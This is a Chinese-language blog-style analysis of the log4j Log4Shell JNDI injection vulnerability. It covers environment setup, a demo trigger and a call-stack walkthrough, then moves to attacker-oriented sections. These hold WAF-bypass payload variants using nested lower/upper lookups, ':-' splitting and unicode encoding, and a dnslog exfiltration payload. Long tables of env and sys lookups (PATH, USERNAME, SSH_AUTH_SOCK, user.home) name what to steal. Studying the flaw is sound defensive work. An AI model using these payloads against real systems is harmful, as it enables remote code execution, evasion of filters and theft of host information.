环境搭建
jdk:1.8.0_66
maven环境:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="<http://maven.apache.org/POM/4.0.0>"
xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
xsi:schemaLocation="<http://maven.apache.org/POM/4.0.0> <http://maven.apache.org/xsd/maven-4.0.0.xsd>">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-rce</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- <https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core> -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- <https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api> -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<!-- <dependency>-->
<!-- <groupId>commons-collections</groupId>-->
<!-- <artifactId>commons-collections</artifactId>-->
<!-- <version>3.1</version>-->
<!-- </dependency>-->
</dependencies>
</project>
测试demo:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.fatal("${jndi:ldap://xxxxxxx:1389/jmkq1y}");
}
}
漏洞分析
入口函数
漏洞的入口函数为logIfEnabled,使用了AbstractLogger.java
中的debug、info、warn、error、fatal等方法都会触发到该函数、
public void fatal(final String message) {
this.logIfEnabled(FQCN, Level.FATAL, (Marker)null, (String)message, (Throwable)((Throwable)null));
}
在logIfEnabled()方法中会使用isEnabled()
方法进行判断,返回为true才可以继续进行日志操作。这里也是漏洞能否成功触发的关键。
返回true的关键是要咱们使用的漏洞等级Level.intLevel()
要小于或者等于设置的Level等级才会放回true。所以并非所有log方法都可以触发到该漏洞。
在本次漏洞分析过程中日志等级为Level.FATAL,它的intLevel()为100,而本环境中默认的日志级别为ERROR(200)。如下图所示,也就说默认设置下只有ERROR等级与FATAL等级能够触发到漏洞。
漏洞核心
在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制。
核心处理部分在StrSubstitutor.class
的substitute
方法中
prefixMatcher.isMatch
负责匹配 ${ 两个字符,suffixMatcher.isMatch
负责匹配}
把匹配到的结果jndi:ldap://192.168.0.161:1389/luvcoa
送到resolveVariable
方法中
在Interpolator.lookup
方法中,首先会获取字符串的前缀值:
如果匹配到内置方法,那么就进入对应的处理方法,这里是 JNDI 方法,
那么就会由JndiLookup
类进一步处理:
最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。
整个调用栈如下:
lookup:55, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
fatal:1053, AbstractLogger (org.apache.logging.log4j.spi)
main:9, log4j
Waf Bypass
目前在网上主要bypasswaf的方法都是基于lookup方法的嵌套查询去分割关键字从而绕过正则表达式的匹配,以及利用java天生支持unicode编码进行的变形。
lower与upper
前面分析提到在substitute()
方法中会嵌套遍历所有的 $ 格式字符串,交给 lookup.Interpolator
处理。
然后在 Interpolator 的 lookup 中会找到 $ 格式字符串的 prefix 和 name 并对 prefix 进行全小写转换(由此得知无法通过改变大小写的方式对 prefix 进行关键字绕过)接着把 prefix 拿来和 strLookupMap 做比较,找到对应的 lookup 类,从下图我们可以看到支持的协议有很多,其中upper和lower可以帮助我们完成字符分割。
一些payload:
${${upper:j}n${lower:d}i:lda${lower:p}${lower::}/${lower:/}1${lower:2}7${lower:.}0${lower:.}0${lower:.}1${lower::}${lower:1}${lower:0}${lower:9}9/o${lower:b}${lower:j}}
${${lower:jndi}:${lower:rmi}://127.0.0.1/poc}
值得注意的是:
只有 2.13 以上的版本支持 lower 和 upper 两个 lookup 方法,使用2.0版本发现不支持该方法
分隔符:-
除了上面利用lower 和 upper 两个 lookup 方法,log4j本身还支持使用:-分隔符来进行字符的拼接,并且这个是全版本通用的!
如下图所示:
一些payload:
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://192.168.0.161:1389/rgrghg}
unicode 编码
使用unicode 编码绕过是 java 本身机制的问题。在 java 里 \ uxxxx 和解码后的字符是可以等价替换的,如 \ u006fs.name 和 os.name 实质上是一个东西:
如下图
log4j信息泄漏利用方法
主要的思路还是利用lookup的各种协助获取信息,然后使用利用dnslog
外带消息,详细可参考github项目:https://github.com/jas502n/Log4j2-CVE-2021-44228
java
参考payload:
${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
ID | usage | method |
---|---|---|
1 | ${java:version} | getSystemProperty(“java.version”) |
2 | ${java:runtime} | getRuntime() |
3 | ${java:vm} | getVirtualMachine() |
4 | ${java:os} | getOperatingSystem() |
5 | ${java:hw} | getHardware() |
6 | ${java:locale} | getLocale() |
log4j2-env
linux
id | usage |
---|---|
1 | ${env:CLASSPATH} |
2 | ${env:HOME} |
3 | ${env:JAVA_HOME} |
4 | ${env:LANG} |
5 | ${env:LC_TERMINAL} |
6 | ${env:LC_TERMINAL_VERSION} |
7 | ${env:LESS} |
8 | ${env:LOGNAME} |
9 | ${env:LSCOLORS} |
10 | ${env:LS_COLORS} |
11 | ${env:MAIL} |
12 | ${env:NLSPATH} |
13 | ${env:OLDPWD} |
14 | ${env:PAGER} |
15 | ${env:PATH} |
16 | ${env:PWD} |
17 | ${env:SHELL} |
18 | ${env:SHLVL} |
19 | ${env:SSH_CLIENT} |
20 | ${env:SSH_CONNECTION} |
21 | ${env:SSH_TTY} |
22 | ${env:TERM} |
23 | ${env:USER} |
24 | ${env:XDG_RUNTIME_DIR} |
25 | ${env:XDG_SESSION_ID} |
26 | ${env:XFILESEARCHPATH} |
27 | ${env:ZSH} |
Windows
1 | ${env:A8_HOME} |
---|---|
2 | ${env:A8_ROOT_BIN} |
3 | ${env:ALLUSERSPROFILE} |
4 | ${env:APPDATA} |
5 | ${env:CATALINA_BASE} |
6 | ${env:CATALINA_HOME} |
7 | ${env:CATALINA_OPTS} |
8 | ${env:CATALINA_TMPDIR} |
9 | ${env:CLASSPATH} |
10 | ${env:CLIENTNAME} |
11 | ${env:COMPUTERNAME} |
12 | ${env:ComSpec} |
13 | ${env:CommonProgramFiles} |
14 | ${env:CommonProgramFiles(x86)} |
15 | ${env:CommonProgramW6432} |
16 | ${env:FP_NO_HOST_CHECK} |
17 | ${env:HOMEDRIVE} |
18 | ${env:HOMEPATH} |
19 | ${env:JRE_HOME} |
20 | ${env:Java_Home} |
21 | ${env:LOCALAPPDATA} |
22 | ${env:LOGONSERVER} |
23 | ${env:NUMBER_OF_PROCESSORS} |
24 | ${env:OS} |
25 | ${env:PATHEXT} |
26 | ${env:PROCESSOR_ARCHITECTURE} |
27 | ${env:PROCESSOR_IDENTIFIER} |
28 | ${env:PROCESSOR_LEVEL} |
29 | ${env:PROCESSOR_REVISION} |
30 | ${env:PROMPT} |
31 | ${env:PSModulePath} |
32 | ${env:PUBLIC} |
33 | ${env:Path} |
34 | ${env:ProgramData} |
35 | ${env:ProgramFiles} |
36 | ${env:ProgramFiles(x86)} |
37 | ${env:ProgramW6432} |
38 | ${env:SESSIONNAME} |
39 | ${env:SystemDrive} |
40 | ${env:SystemRoot} |
41 | ${env:TEMP} |
42 | ${env:TMP} |
43 | ${env:ThisExitCode} |
44 | ${env:USERDOMAIN} |
45 | ${env:USERNAME} |
46 | ${env:USERPROFILE} |
47 | ${env:WORK_PATH} |
48 | ${env:windir} |
49 | ${env:windows_tracing_flags} |
50 | ${env:windows_tracing_logfile} |
Mac:
1 | ${env:ANT_HOME} |
---|---|
2 | ${env:COMMAND_MODE} |
3 | ${env:GOBIN} |
4 | ${env:GOPATH} |
5 | ${env:GOROOT} |
6 | ${env:GRADLE_HOME} |
7 | ${env:HOME} |
8 | ${env:HOMEBREW_BOTTLE_DOMAIN} |
9 | ${env:JAVA_HOME} |
10 | ${env:JAVA_MAIN_CLASS_3651} |
11 | ${env:LC_CTYPE} |
12 | ${env:LESS} |
13 | ${env:LOGNAME} |
14 | ${env:LSCOLORS} |
15 | ${env:LaunchInstanceID} |
16 | ${env:OLDPWD} |
17 | ${env:PAGER} |
18 | ${env:PATH} |
19 | ${env:PWD} |
20 | ${env:SECURITYSESSIONID} |
21 | ${env:SHELL} |
22 | ${env:SSH_AUTH_SOCK} |
23 | ${env:TIME_STYLE} |
24 | ${env:TMPDIR} |
25 | ${env:USER} |
26 | ${env:VERSIONER_PYTHON_VERSION} |
27 | ${env:XPC_FLAGS} |
28 | ${env:XPC_SERVICE_NAME} |
29 | ${env:ZSH} |
log4j2-sys
1 | ${sys:awt.toolkit} |
---|---|
2 | ${sys:file.encoding} |
3 | ${sys:file.encoding.pkg} |
4 | ${sys:file.separator} |
5 | ${sys:java.awt.graphicsenv} |
6 | ${sys:java.awt.printerjob} |
7 | ${sys:java.class.path} |
8 | ${sys:java.class.version} |
9 | ${sys:java.endorsed.dirs} |
10 | ${sys:java.ext.dirs} |
11 | ${sys:java.home} |
12 | ${sys:java.io.tmpdir} |
13 | ${sys:java.library.path} |
14 | ${sys:java.runtime.name} |
15 | ${sys:java.runtime.version} |
16 | ${sys:java.specification.name} |
17 | ${sys:java.specification.vendor} |
18 | ${sys:java.specification.version} |
19 | ${sys:java.vendor} |
20 | ${sys:java.vendor.url} |
21 | ${sys:java.vendor.url.bug} |
22 | ${sys:java.version} |
23 | ${sys:java.vm.info} |
24 | ${sys:java.vm.name} |
25 | ${sys:java.vm.specification.name} |
26 | ${sys:java.vm.specification.vendor} |
27 | ${sys:java.vm.specification.version} |
28 | ${sys:java.vm.vendor} |
29 | ${sys:java.vm.version} |
30 | ${sys:line.separator} |
31 | ${sys:os.arch} |
32 | ${sys:os.name} |
33 | ${sys:os.version} |
34 | ${sys:path.separator} |
35 | ${sys:sun.arch.data.model} |
36 | ${sys:sun.boot.class.path} |
37 | ${sys:sun.boot.library.path} |
38 | ${sys:sun.cpu.endian} |
39 | ${sys:sun.cpu.isalist} |
40 | ${sys:sun.desktop} |
41 | ${sys:sun.io.unicode.encoding} |
42 | ${sys:sun.java.command} |
43 | ${sys:sun.java.launcher} |
44 | ${sys:sun.jnu.encoding} |
45 | ${sys:sun.management.compiler} |
46 | ${sys:sun.os.patch.level} |
47 | ${sys:sun.stderr.encoding} |
48 | ${sys:user.country} |
49 | ${sys:user.dir} |
50 | ${sys:user.home} |
51 | ${sys:user.language} |
52 | ${sys:user.name} |
53 | ${sys:user.script} |
54 | ${sys:user.timezone} |
55 | ${sys:user.variant} |
参考文章
https://new.qq.com/omn/20211223/20211223A07VL800.html
https://mp.weixin.qq.com/s/i5zgVJ0c6OqQxl7sMZvUwg